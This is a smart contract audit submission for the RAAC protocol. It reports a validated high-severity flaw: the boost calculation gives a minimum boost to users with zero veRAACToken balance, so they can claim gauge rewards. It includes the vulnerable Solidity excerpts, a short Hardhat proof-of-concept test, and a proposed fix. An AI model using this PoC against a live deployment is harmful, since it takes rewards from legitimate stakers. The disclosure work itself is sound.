Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

user can claim rewards in Gauge without holding any assets

Summary

The rewardsUpdate function does not verify whether the caller has a veRAACToken balance. Instead, it simply returns minBoost, which could allow an attacker to claim rewards without staking or holding veRAACToken.

Vulnerability Details

When a user calls the getRewards function, the updateRewards modifier is executed first. The reward update process follows these steps:

  1. Inside _updateReward, the contract retrieves rewardsPerToken and lastUpdateTime.

  2. The earned function is called for the user to calculate the rewards.

This sequence ensures that the reward calculations are up to date before the user claims rewards.

/home/aman/Desktop/audits/BAAC-audit-cyfrin/contracts/core/governance/gauges/BaseGauge.sol:167
167: function _updateReward(address account) internal {
168: rewardPerTokenStored = getRewardPerToken();
169: lastUpdateTime = lastTimeRewardApplicable();
170:
171: if (account != address(0)) {
172: UserState storage state = userStates[account];
173: state.rewards = earned(account);
174: state.rewardPerTokenPaid = rewardPerTokenStored;
175: state.lastUpdateTime = block.timestamp;
176: emit RewardUpdated(account, state.rewards);
177: }
178: }

The earned function determines a user's reward amount by:

  • Calling getUserWeight to retrieve the user's weight.

  • Multiplying the weight by the percentage of rewards changed.

  • Adding the result to the user's current rewards balance.
    This process ensures that rewards are distributed proportionally based on user weight.

/home/aman/Desktop/audits/BAAC-audit-cyfrin/contracts/core/governance/gauges/BaseGauge.sol:583
583: function earned(address account) public view returns (uint256) {
584: return (getUserWeight(account) * // @audit : need to check this value due to wrong calculation it may impact the reward amount being claimed??
585: (getRewardPerToken() - userStates[account].rewardPerTokenPaid) / 1e18
586: ) + userStates[account].rewards;
587: }

The getUserWeight function retrieves the weight of a gauge and applies the appropriate boost to the specified user.

/home/aman/Desktop/audits/BAAC-audit-cyfrin/contracts/core/governance/gauges/BaseGauge.sol:594
594: function getUserWeight(address account) public view virtual returns (uint256) {
595: uint256 baseWeight = _getBaseWeight(account);
596: return _applyBoost(account, baseWeight);
597: }

The _applyBoost function determines the user's boost based on:

  1. The current total supply.

  2. The user's individual balance.

/home/aman/Desktop/audits/BAAC-audit-cyfrin/contracts/core/governance/gauges/BaseGauge.sol:229
229: function _applyBoost(address account, uint256 baseWeight) internal view virtual returns (uint256) {
...
232: IERC20 veToken = IERC20(IGaugeController(controller).veRAACToken());
233: uint256 veBalance = veToken.balanceOf(account);
234: uint256 totalVeSupply = veToken.totalSupply();
235:
236: // Create BoostParameters struct from boostState
237: BoostCalculator.BoostParameters memory params = BoostCalculator.BoostParameters({
238: maxBoost: boostState.maxBoost,
239: minBoost: boostState.minBoost,
240: boostWindow: boostState.boostWindow,
241: totalWeight: boostState.totalWeight,
242: totalVotingPower: boostState.totalVotingPower,
243: votingPower: boostState.votingPower
244: });
245:
246: uint256 boost = BoostCalculator.calculateBoost(
247: veBalance,
248: totalVeSupply,
249: params
250: );
251:
252: return (baseWeight * boost) / 1e18;
253: }

As shown in the calculateBoost function, it will always return minBoost, even if the user's balance is 0.

/home/aman/Desktop/audits/BAAC-audit-cyfrin/contracts/libraries/governance/BoostCalculator.sol:76
76: function calculateBoost(
77: uint256 veBalance,
78: uint256 totalVeSupply,
79: BoostParameters memory params
80: ) internal pure returns (uint256) {
...
86: // Calculate voting power ratio with higher precision
87: uint256 votingPowerRatio = (veBalance * 1e18) / totalVeSupply;
88: // Calculate boost within min-max range
89: uint256 boostRange = params.maxBoost - params.minBoost;
90: uint256 boost = params.minBoost + ((votingPowerRatio * boostRange) / 1e18);
91:
92: // Ensure boost is within bounds
93: if (boost < params.minBoost) {
94: return params.minBoost;
95: }
96: if (boost > params.maxBoost) {
97: return params.maxBoost;
98: }
...
101: }

All the details mentioned above lead to an issue where users can still claim rewards even when their balance is 0.

POC

The following POC will proof the attack vector , Please add it inside RAACGaufe.test.js file and run with command npx hardhat test:

it.only("User can claim rewards without staking and holding veRAACToken", async () => {
// const userWallet = ethers.Wallet.createRandom();
let userBalance = await veRAACToken.balanceOf(newUser.address);
expect(userBalance).to.eq(0);
await raacGauge.connect(newUser).getReward();
await time.increase(WEEK/2);
await raacGauge.connect(newUser).getReward();
const balance = await rewardToken.balanceOf(newUser.address);
console.log("balance" , balance)
expect(balance).to.be.gt(0);
});

Logs :

RAACGauge
Reward Distribution
balance 50000164n

Impact

An attacker can claim reward tokens without holding any veRAACToken, which reduces the claimable amount for legitimate users and allows the attacker to receive free rewards.

Tools Used

Manual Review

Recommendations

One potentail fix could be calculateBoost funciton check if user balance is 0 the return 0.

diff --git a/contracts/libraries/governance/BoostCalculator.sol b/contracts/libraries/governance/BoostCalculator.sol
index cf16940..9ef74a2 100644
--- a/contracts/libraries/governance/BoostCalculator.sol
+++ b/contracts/libraries/governance/BoostCalculator.sol
@@ -82,7 +82,9 @@ library BoostCalculator {
if (totalVeSupply == 0) {
return params.minBoost;
}
-
+ if (veBalance == 0) {
+ return 0;
+ }
Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BaseGauge::earned calculates rewards using getUserWeight instead of staked balances, potentially allowing users to claim rewards by gaining weight without proper reward checkpoint updates

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BaseGauge::earned calculates rewards using getUserWeight instead of staked balances, potentially allowing users to claim rewards by gaining weight without proper reward checkpoint updates

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!